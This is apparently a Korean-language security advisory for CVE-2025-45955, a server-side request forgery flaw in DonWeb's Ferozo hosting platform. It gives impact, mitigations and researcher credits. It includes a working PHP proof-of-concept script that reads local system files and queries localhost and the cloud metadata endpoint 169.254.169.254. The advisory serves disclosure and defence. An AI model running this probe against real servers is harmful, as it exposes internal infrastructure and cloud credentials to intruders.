CVE-2025-45955

DonWeb Ferozo의 서버 측 요청 위조 (CVE-2025-45955)

설명

공격자는 Ferozo 호스팅 플랫폼에 특수하게 조작된 PHP 파일을 업로드하고 실행하여 이 취약점을 악용할 수 있습니다. 해당 파일에 접근하면 내부 서비스(예: 127.0.0.1, 169.254.169.254 또는 서비스 메시 엔드포인트), 로컬 파일(예: file:///etc/passwd), 알려진 클라우드 메타데이터 엔드포인트를 대상으로 일련의 SSRF 시도를 실행합니다. 스크립트는 응답 또는 오류 메시지를 수집하여 공격자가 내부 인프라를 매핑하고 접근 가능한 서비스를 열거하며 추가 공격을 위한 민감한 정보를 수집할 수 있도록 합니다.

개념 증명 (PoC)

다음 코드는 취약점을 시연합니다:

<?php
$targets = [
  "file:///etc/hosts",
  "file:///etc/resolv.conf",
  "http://127.0.0.1/",
  "http://169.254.169.254/latest/meta-data/"
];
foreach ($targets as $url) {
  echo "[*] Trying: $url\n";
  $res = @file_get_contents($url);
  echo $res ? substr($res, 0, 500) : "Request failed or unreadable.\n";
}
?>

영향을 받는 구성 요소

• Ferozo 호스팅 플랫폼 (DonWeb)
• 사용자가 업로드하거나 제어하는 PHP 파일 실행을 허용하는 PHP 기반 환경

---

영향

• 정보 노출: 내부 IP, 파일 내용, 클라우드 메타데이터 엔드포인트 유출
• 인프라 정찰: 포트 및 서비스 열거 가능 (Docker, Kubelet 등)
• 클라우드 악용 가능성: AWS, GCP, Alibaba와 같은 알려진 메타데이터 엔드포인트 프로빙
• 체이닝 기회: RCE 또는 피보팅을 위해 다른 로컬 취약점과 결합 가능

---

해결 방법

• 파일 포함 및 URL 접근 함수(file_get_contents, fopen 등) 제한
• 아웃바운드 방화벽 규칙을 통해 내부 IP 범위(127.0.0.0/8, 169.254.169.254 등)에 대한 접근 차단
• 파일 경로나 URL에 영향을 줄 수 있는 사용자 입력 감사 및 정화

---

CVE ID

CVE-2025-45955

---

발견자

다음에 의해 보고됨 [Facundo Fernandez, Jinook Kim, Surendra Puppala / Security Researchers | @BYU]